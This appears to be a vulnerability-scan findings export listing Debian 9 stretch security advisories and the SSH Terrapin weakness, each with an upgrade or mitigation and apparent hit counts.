Debian DLA-3053-1 : vim - LTS security update: Upgrade the vim packages. For Debian 9 stretch, these problems have been fixed in version 2	34	1
Debian DLA-2960-1 : apache2 - LTS security update: Upgrade the apache2 packages. For Debian 9 stretch, these problems have been fixed in version 2.4.25-3+deb9u13.	22	1
Debian DSA-4717-1 : php7.0 - security update: Upgrade the php7.0 packages. For the oldstable distribution (stretch), these problems have been fixed in version 7.0.33-0+deb9u8.	21	1
Debian DLA-2808-1 : python3.5 - LTS security update: Upgrade the python3.5 packages. For Debian 9 stretch, these problems have been fixed in version 3.5.3-1+deb9u5.	20	1
Debian DLA-3012-1 : libxml2 - LTS security update: Upgrade the libxml2 packages. For Debian 9 stretch, this problem has been fixed in version 2.9.4+dfsg1-2.2+deb9u7.	19	1
Debian DLA-2935-1 : expat - LTS security update: Upgrade the expat packages. For Debian 9 stretch, these problems have been fixed in version 2.2.0-2+deb9u5.	16	1
Debian DLA-2955-1 : bind9 - LTS security update: Upgrade the bind9 packages. For Debian 9 stretch, this problem has been fixed in version 1	15	1
Debian DLA-2975-1 : openjpeg2 - LTS security update: Upgrade the openjpeg2 packages. For Debian 9 stretch, these problems have been fixed in version 2.1.2-1.1+deb9u7.	14	1
Debian DLA-3017-1 : openldap - LTS security update: Upgrade the openldap packages. For Debian 9 stretch, this problem has been fixed in version 2.4.44+dfsg-5+deb9u9.	14	1
Debian DLA-2773-1 : curl - LTS security update: Upgrade the curl packages. For Debian 9 stretch, these problems have been fixed in version 7.52.1-5+deb9u16.	13	1
Debian DLA-2919-1 : python2.7 - LTS security update: Upgrade the python2.7 packages. For Debian 9 stretch, these problems have been fixed in version 2.7.13-2+deb9u6.	13	1
Debian DLA-2702-1 : djvulibre - LTS security update: Upgrade the djvulibre packages. For Debian 9 stretch, this problem has been fixed in version 3.5.27.1-7+deb9u2.	11	1
Debian DLA-2677-1 : libwebp security update: Upgrade the affected packages.	10	1
Debian DLA-2614-1 : busybox security update: Upgrade the affected packages.	8	1
Debian DLA-2794-1 : php7.0 - LTS security update: Upgrade the php7.0 packages. For Debian 9 stretch, this problem has been fixed in version 7.0.33-0+deb9u12.	8	1
Debian DLA-2802-1 : elfutils - LTS security update: Upgrade the elfutils packages. For Debian 9 stretch, these problems have been fixed in version 0.168-1+deb9u1.	7	1
Debian DLA-2932-1 : tiff - LTS security update: Upgrade the tiff packages. For Debian 9 stretch, these problems have been fixed in version 4.0.8-2+deb9u8.	7	1
Debian DSA-4670-1 : tiff - security update: Upgrade the tiff packages. For the oldstable distribution (stretch), these problems have been fixed in version 4.0.8-2+deb9u5.	7	1
Debian DLA-2953-1 : openssl1.0 - LTS security update: Upgrade the openssl1.0 packages. For Debian 9 stretch, this problem has been fixed in version 1.0.2u-1~deb9u7.	6	1
Debian DLA-2771-1 : krb5 - LTS security update: Upgrade the krb5 packages. For Debian 9 stretch, these problems have been fixed in version 1.15-1+deb9u3.	5	1
Debian DLA-3035-1 : libdbi-perl - LTS security update: Upgrade the libdbi-perl packages. For Debian 9 stretch, this problem has been fixed in version 1.636-1+deb9u2.	5	1

Debian DLA-3037-1 : libjpeg-turbo - LTS security update: Upgrade the libjpeg-turbo packages. For Debian 9 stretch, this problem has been fixed in version 1	5	1
Debian DLA-2605-1 : mariadb-10.1 security update: Upgrade the affected packages.	4	1
Debian DLA-2686-1 : python-urllib3 - LTS security update: Upgrade the python-urllib3 packages. For Debian 9 stretch, these problems have been fixed in version 1.19.1-1+deb9u1.	4	1
Debian DLA-2695-1 : klibc - LTS security update: Upgrade the klibc packages. For Debian 9 stretch, these problems have been fixed in version 2.0.4-9+deb9u1.	4	1
Debian DLA-2801-1 : cron - LTS security update: Upgrade the cron packages. For Debian 9 stretch, these problems have been fixed in version 3.0pl1-128+deb9u2.	4	1
Debian DLA-3008-1 : openssl - LTS security update: Upgrade the openssl packages. For Debian 9 stretch, this problem has been fixed in version 1.1.0l-1~deb9u6.	4	1
Debian DLA-3016-1 : rsyslog - LTS security update: Upgrade the rsyslog packages. For Debian 9 stretch, these problems have been fixed in version 8.24.0-1+deb9u2.	4	1
Debian DSA-4539-1 : openssl - security update: Upgrade the openssl packages. For the oldstable distribution (stretch), these problems have been fixed in version 1.1.0l-1~deb9u1. For the stable distribution (buster), these problems have been fixed in version 1.1.1d-0+deb10u1.	4	1
Debian DLA-2534-1 : sudo security update: Upgrade the affected sudo, and sudo-ldap packages.	3	1
Debian DLA-2563-1 : openssl security update: Upgrade the affected packages.	3	1
Debian DLA-2666-1 : libx11 security update: Upgrade the affected packages.	3	1
Debian DLA-2871-1 : lxml - LTS security update: Upgrade the lxml packages. For Debian 9 stretch, this problem has been fixed in version 3.7.1-1+deb9u5.	3	1
Debian DLA-3044-1 : glib2.0 - LTS security update: Upgrade the glib2.0 packages. For Debian 9 stretch, these problems have been fixed in version 2.50.3-2+deb9u3.	3	1
Debian DSA-4594-1 : openssl1.0 - security update: Upgrade the openssl1.0 packages. For the oldstable distribution (stretch), this problem has been fixed in version 1.0.2u-1~deb9u1.	3	1
Debian DLA-2487-1 : apt security update: Upgrade the affected packages.	2	1
Debian DLA-2513-1 : p11-kit security update: Upgrade the affected packages.	2	1
Debian DLA-2596-1 : shadow security update: Upgrade the affected login, passwd, and uidmap packages.	2	1
Debian DLA-2760-1 : nettle - LTS security update: Upgrade the nettle packages. For Debian 9 stretch, these problems have been fixed in version 3.3-1+deb9u1.	2	1
Debian DLA-2786-1 : nghttp2 - LTS security update: Upgrade the nghttp2 packages. For Debian 9 stretch, these problems have been fixed in version 1.18.1-1+deb9u2.	2	1
Debian DLA-2796-1 : jbig2dec - LTS security update: Upgrade the jbig2dec packages. For Debian 9 stretch, these problems have been fixed in version 0.13-4.1+deb9u1.	2	1
Debian DLA-2848-1 : libssh2 - LTS security update: Upgrade the libssh2 packages. For Debian 9 stretch, these problems have been fixed in version 1.7.0-1+deb9u2.	2	1
Debian DLA-3029-1 : cups - LTS security update: Upgrade the cups packages. For Debian 9 stretch, this problem has been fixed in version 2.2.1-8+deb9u8.	2	1
Debian DLA-3047-1 : avahi - LTS security update: Upgrade the avahi packages. For Debian 9 stretch, these problems have been fixed in version 0.6.32-2+deb9u1.	2	1
Debian DLA-3063-1 : systemd - LTS security update: Upgrade the systemd packages. For Debian 9 stretch, this problem has been fixed in version 232-25+deb9u14.	2	1
Debian DSA-4609-1 : python-apt - security update: Upgrade the python-apt packages. For the oldstable distribution (stretch), these problems have been fixed in version 1.4.1. For the stable distribution (buster), these problems have been fixed in version 1.8.4.1.	2	1
Debian DLA-2290-1 : e2fsprogs security update: Upgrade the affected packages.	1	1
Debian DLA-2340-2 : sqlite3 regression update: Upgrade the affected packages.	1	1

Debian DLA-2381-1 : lua5.3 security update: Upgrade the affected packages.	1	1
Debian DLA-2415-1 : freetype security update: Upgrade the affected packages.	1	1
Debian DLA-2518-1 : cairo security update: Upgrade the affected packages.	1	1
Debian DLA-2566-1 : libbsd security update: Upgrade the affected libbsd-dev, libbsd0, and libbsd0-udeb packages.	1	1
Debian DLA-2657-1 : lz4 security update: Upgrade the affected packages.	1	1
Debian DLA-2674-1 : isc-dhcp security update: Upgrade the affected packages.	1	1
Debian DLA-2691-1 : libgcrypt20 - LTS security update: Upgrade the libgcrypt20 packages. For Debian 9 stretch, this problem has been fixed in version 1.7.6-2+deb9u4.	1	1
Debian DLA-2784-1 : icu - LTS security update: Upgrade the icu packages. For Debian 9 Stretch, these problems have been fixed in version 57.1-6+deb9u5.	1	1
Debian DLA-2830-1 : tar - LTS security update: Upgrade the tar packages. For Debian 9 stretch, this problem has been fixed in version 1.29b-1.1+deb9u1.	1	1
Debian DLA-2833-1 : rsync - LTS security update: Upgrade the rsync packages. For Debian 9 stretch, this problem has been fixed in version 3.1.2-1+deb9u3.	1	1
Debian DLA-2837-1 : gmp - LTS security update: Upgrade the gmp packages. For Debian 9 stretch, this problem has been fixed in version 2	1	1
Debian DLA-2850-1 : libpcap - LTS security update: Upgrade the libpcap packages. For Debian 9 stretch, this problem has been fixed in version 1.8.1-3+deb9u1.	1	1
Debian DLA-2897-1 : apr - LTS security update: Upgrade the apr packages. For Debian 9 stretch, this problem has been fixed in version 1.5.2-5+deb9u1.	1	1
Debian DLA-2931-1 : cyrus-sasl2 - LTS security update: Upgrade the cyrus-sasl2 packages. For Debian 9 stretch, this problem has been fixed in version 2.1.27~101-g0780600+dfsg-3+deb9u2.	1	1
Debian DLA-2968-1 : zlib - LTS security update: Upgrade the zlib packages. For Debian 9 stretch, this problem has been fixed in version 1	1	1
Debian DLA-2976-1 : gzip - LTS security update: Upgrade the gzip packages. For Debian 9 stretch, this problem has been fixed in version 1.6-5+deb9u1.	1	1
Debian DLA-2977-1 : xz-utils - LTS security update: Upgrade the xz-utils packages. For Debian 9 stretch, this problem has been fixed in version 5.2.2-1.2+deb9u1.	1	1
Debian DLA-3022-1 : dpkg - LTS security update: Upgrade the dpkg packages. For Debian 9 stretch, this problem has been fixed in version 1.18.26.	1	1
Debian DSA-4435-1 : libpng1.6 - security update: Upgrade the libpng1.6 packages. For the stable distribution (stretch), this problem has been fixed in version 1.6.28-1+deb9u1.	1	1
Debian DSA-4462-1 : dbus - security update: Upgrade the dbus packages. For the stable distribution (stretch), this problem has been fixed in version 1.10.28-0+deb9u1.	1	1
Debian DSA-4535-1 : e2fsprogs - security update: Upgrade the e2fsprogs packages. For the oldstable distribution (stretch), this problem has been fixed in version 1.43.4-2+deb9u1. For the stable distribution (buster), this problem has been fixed in version 1.44.5-1+deb10u2.	1	1
Debian DSA-4550-1 : file - security update: Upgrade the file packages. For the oldstable distribution (stretch), this problem has been fixed in version 1:5.30-1+deb9u3. For the stable distribution (buster), this problem has been fixed in version 1:5.35-4+deb10u1.	1	1
Debian DSA-4591-1 : cyrus-sasl2 - security update: Upgrade the cyrus-sasl2 packages. For the oldstable distribution (stretch), this problem has been fixed in version 2.1.27~101-g0780600+dfsg-3+deb9u1. For the stable distribution (buster), this problem has been fixed in version 2.1.27+dfsg-1+deb10u1.	1	1
Debian DSA-4646-1 : icu - security update: Upgrade the icu packages. For the oldstable distribution (stretch), this problem has been fixed in version 57.1-6+deb9u4. For the stable distribution (buster), this problem has been fixed in version 63.1-6+deb10u1.	1	1
Debian DSA-4666-1 : openldap - security update: Upgrade the openldap packages. For the oldstable distribution (stretch), this problem has been fixed in version 2.4.44+dfsg-5+deb9u4. For the stable distribution (buster), this problem has been fixed in version 2.4.47+dfsg-3+deb10u2.	1	1

SSH Terrapin Prefix Truncation Weakness (CVE-2023-48795): Contact the vendor for an update with the strict key exchange countermeasures or disable the affected algorithms.	1	1